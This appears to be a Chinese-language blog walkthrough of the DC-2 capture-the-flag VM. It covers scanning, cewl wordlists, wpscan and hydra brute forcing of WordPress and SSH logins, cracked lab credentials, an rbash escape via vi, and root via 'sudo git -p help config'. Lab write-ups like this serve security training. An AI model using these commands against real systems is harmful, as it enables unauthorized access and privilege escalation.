dc2靶机攻略

dc2

扫描

image-20231022142140243

开放80端口,访问主页进不去,80端口下有提示

此时则需要修改/etc/hosts文件

image-20231022143107546

使用目录扫描

dirsearch -u http://10.4.7.146

dirb http://10.4.7.146

image-20231022144006409

image-20231022144019078

渗透

flag1

修改完dns进入主页后,最后一个模块内容即为flag1

image-20231022143308252

此页面内容提示使用从cewl获取字典,并且此网站wordpress搭的,所以可以使用wpscan获取字典

目录扫描时获取到了登录页

http://10.4.7.146/wp-admin/

image-20231022144137007

cewl -w pojie1.txt http://dc-2

image-20231022144638643

wpscan --url http://dc-2 --enumerate u

image-20231022144908532

找到三个登录用户信息

写入文本文件当做字典

image-20231022145004944

使用wpscan爆破登录用户密码

wpscan --url http://dc-2 -U pojie_user.txt -P pojie1.txt

image-20231022145239309

得到登录用户信息

jerry:adipiscing
tom:parturient

先使用jerry登录上去看看

image-20231022145412614

flag2

在pages模块中发现flag2

image-20231022145543263

这是提示我们换条路试试,应该是ssh登录

此处可以用hydra爆破ssh确认一下

hydra -L pojie_user.txt -P pojie1.txt ssh://10.4.7.146:7744 -V -f -t 50

image-20231022152000227

发现可以tom可以登录ssh

页面中media部分可以尝试文件上传,但是我没传成功,可能是wordpress权限不够

使用tom登录ssh

ssh tom@10.4.7.146 -p 7744

登录成功后,先查看一下信息,发现在rbash状态,使用受限

image-20231022153128337

那就先列出可用的命令大概看一下

compgen -c

image-20231022153232015

image-20231022153301217

最后部分有个vi

flag3

ls列出发现flag3,使用vi命令查看内容

image-20231022153433153

flag提示使用su,首先需要逃逸rbash

先使用vi编辑器开一个shell

vi新建一个文件,写入内容

:set shell=/bin/bash
:shell

image-20231022154519182

随后保存退出

然后添加环境变量后,即可su到jerry

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

image-20231022154934283

ps:此处如果无法直接成功添加环境变量,可以这样用

BASH_CMDS[a]=/bin/sh;a

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

flag4

jerry用户加目录下下存在flag4文件

image-20231022155212823

提权及flag5

flag提示git提权,当然可以先试试别的提权能不能用

image-20231022155431802

sudo -l发现可以以root身份执行git

sudo git -p help config

!/bin/bash

image-20231022160231326

执行过后即为root身份,最终flag在/root目录下

sudo -l发现可以以root身份执行git

sudo git -p help config

!/bin/bash

执行过后即为root身份,最终flag在/root目录下

image-20231022160347227

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值